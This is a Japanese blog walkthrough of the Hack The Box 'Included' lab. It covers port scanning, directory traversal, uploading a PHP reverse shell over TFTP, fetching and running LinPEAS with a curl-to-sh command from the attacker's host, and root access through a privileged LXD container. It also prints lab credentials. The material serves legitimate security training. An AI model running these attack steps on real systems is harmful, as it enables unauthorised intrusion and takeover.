コラムColumn

導入事例Case Study

サイバーニュースCyber News

海外のサイバーセキュリティ関連のニュースを日本語でご紹介しています。

お知らせNews

【Hack The Box入門】Included 攻略ガイド(Starting Point)

Starting Point シリーズ第8弾、「Included」攻略ガイドです。
前回の「Pathfinder」に続き、今回も Hack The Box の無料学習ルートに含まれるボックスを取り上げます。
このボックスは難易度「Very Easy」に分類されており、基本的な Web 脆弱性の理解を深めるのに最適です。

免責事項:
本記事では、Hack The Box(HTB)Starting Point シリーズの学習目的に沿って解説を行っています。
旗(user.txt / root.txt)の内容は記載していません。手順を通してご自身で取得してください。

00. マシンの起動

まずはマシンを起動します。「Join Machine」をクリックしてください。

起動後、IP アドレスが表示されます。

VPN が正常に接続されているか確認するため、対象 IP に対して ping を実行します。ファイアウォールの設定によっては応答がない場合もありますが、多くのケースでは通信可能です。

結果の TTL 値が 63 であることから、Linux 系 OS で動作していることがわかります。

01. 列挙(Enumeration)

01.1 ポートスキャンの実行

まず全ポートに対して Nmap を使い、開放されている TCP ポートを特定します。

nmap -n -vv --open -T4 -p- -oN AllPorts.nmap 10.10.10.55
  • -n:DNS解決を行わない
  • -vv:詳細表示
  • --open:開放ポートのみ出力
  • -p-:全65535ポートを対象
  • -T4:高速スキャン

スキャン結果を見ると、開放されているのは 80番ポート(HTTP) のみです。

01.2 Nmap スクリプトスキャン

続いて、開いているポートに対して Nmap のスクリプトエンジンを実行します。

nmap -sV -sC -oN DetailPorts.nmap -p 80 10.10.10.55

出力結果からも、Web サーバ(ポート80)のみが稼働していることが確認できます。

01.3 ポート80の調査

ブラウザでポート80へアクセスして内容を確認します。

URL パラメータを見ると、ファイルパスを扱う挙動が見られ、ディレクトリトラバーサル(パストラバーサル) 脆弱性の可能性が考えられます。

ディレクトリトラバーサル(Directory Traversal)は、アプリケーションがファイルパスを安全に処理していない場合に発生する脆弱性です。
攻撃者はこれを悪用して、任意のファイル(設定ファイル・認証情報・システム情報など)を閲覧できるようになります。
参考:PortSwigger Directory Traversal

Burp Suite の Repeater タブを使ってテストします。

結果として、確かにディレクトリトラバーサル脆弱性が存在することが確認できます。
もしアップロード機能があれば、ここからリバースシェルを呼び出すことが可能ですが、直接アップロード手段は見つかりませんでした。

そこで /etc/passwd を読み取ってユーザー情報を調査します。
すると、tftp ユーザーの存在が確認できました。
TFTP(Trivial File Transfer Protocol)は、UDPポート69で動作する簡易ファイル転送プロトコルです。

Nmap で再度 UDP ポートを確認します。

ポート69(TFTP)が稼働中であることが分かりました。
TFTP サービスへ接続して挙動を確認します。

接続に成功し、ファイルのアップロードも可能です。
アップロード先のディレクトリを確認するため、再度 /etc/passwd を確認します。

/var/lib/tftpboot/ がホームディレクトリとして設定されていることが分かりました。これがアップロード先です。

02. Foothold(初期侵入)

ここからリバースシェルを確立します。
まず PHP のリバースシェルスクリプトを作成します。Kali Linux の webshell ディレクトリにある php-reverse-shell.php を利用するか、revshells.com などの生成サイトを使用します。

自身の IP とポート番号を編集し、スクリプトを作成します。

作成したスクリプトを TFTP 経由でアップロードします。

tftp 10.10.10.55
tftp> put shell.php

アップロードしたファイルは /var/lib/tftpboot/ に保存されます。
netcat で待ち受け、ディレクトリトラバーサル脆弱性を利用して PHP スクリプトを実行します。

これで www-data 権限のシェルを取得しました。
次に TTY シェルを取得します。

python3 -c "import pty; pty.spawn('/bin/bash')"

ホームディレクトリを確認すると、mike というユーザーが存在します。
前回「Pathfinder」で使用したパスワード Sheffield19 を試してみます。

ログインに成功し、user フラグを取得できます。

03. 権限昇格(Privilege Escalation)

次に root 権限を取得します。
手動調査も可能ですが、ここでは自動化スクリプト LinPEAS を使います。

まず自分のマシンに LinPEAS をダウンロードします。

wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh

続いて簡易HTTPサーバを起動し、ターゲットから取得できるようにします。

ターゲット側で以下のコマンドを実行して LinPEAS を直接実行します。

curl http://<YourIP>:8000/linpeas.sh | sh

出力結果を確認すると、ユーザー mikeLXD グループ に属していることがわかります。
LXD グループはコンテナ管理権限を持つ強力なグループで、特権昇格が可能です。

HackTricks の LXD 権限昇格手法を参照します。
まず以下のリポジトリをクローンし、Alpine イメージをビルドします。

git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

生成された tar.gz イメージをサーバーへ転送します。

次のコマンドでイメージを読み込み、特権コンテナを作成します。

lxc image import ./alpine*.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true

コンテナに /root をマウントします。

lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

コンテナを起動して接続します。

lxc start mycontainer
lxc exec mycontainer /bin/sh

root シェルが取得できました。
/mnt/root/root/ ディレクトリ内の root.txt を確認します。

04. 事後活動(Post Exploitation)

/mnt/root/root ディレクトリ内には login.sql というファイルも存在します。

このファイルを開くと、新たな資格情報が含まれています。

Daniel : >SNDv*2wzLWf

これで「Included」ボックスの攻略は完了です。
次は「Markup」ボックスに挑戦しましょう。

まとめ

Included では、ディレクトリトラバーサルと TFTP の組み合わせによるリモートコード実行、そして LXD グループを利用した権限昇格を体験できます。

学習ポイント:

  • Web アプリ脆弱性(ディレクトリトラバーサル)の確認と活用
  • TFTP サービスを悪用したファイルアップロード
  • LinPEAS による自動権限昇格調査
  • LXD グループを利用した root 権限取得

このシリーズも終盤です。次回は「Markup」攻略を解説します。

注意:

  • 本記事に記載した手順は Hack The Box の Starting Point 等、許可された演習環境での学習を目的としています。実在するシステムやネットワークに対する同様の操作は日本を含む多くの国で違法です。実行は必ず許可を得た環境で行ってください。
  • この手法(TFTPを用いたアップロードやウェブシェルの実行)は強力である反面、実運用環境での使用は重大な侵害行為になります。演習以外では絶対に実行しないでください。
  • 本記事で紹介した手法は、攻撃者視点を理解し、防御側の強化に役立てることを目的としています。

投稿者プロフィール

ハリス ディルシャン
ハリス ディルシャン
Offensive Security Engineer | Red Team Specialist
レッドチーム演習やペネトレーションテスト、脅威モデリングを専門とするオフェンシブセキュリティエンジニアです。エンタープライズ環境やWeb・モバイルアプリ、API、クラウドサービスにおけるセキュリティ評価を多数実施し、CTFやマルウェア解析、アンチウイルス回避などにも精通しています。2020年にはCEH Master世界ランキングでトップ10入りを果たし、国際的に高い評価を得ています。
主な保有資格:
● OSCP(Offensive Security Certified Professional)
● CPENT(Certified Penetration Testing Professional)
● eCPPT(Certified Professional Penetration Tester)
● eMAPT(Mobile Application Penetration Tester)
● CRTS(Certified Red Team Specialist)
● CEH Master(認定エシカルハッカー)
● SOC-100(Security Operations Essentials)
● PEN-100(Network Penetration Testing Essentials)
● SLIIT – 情報技術学士(サイバーセキュリティ専攻)


Page Top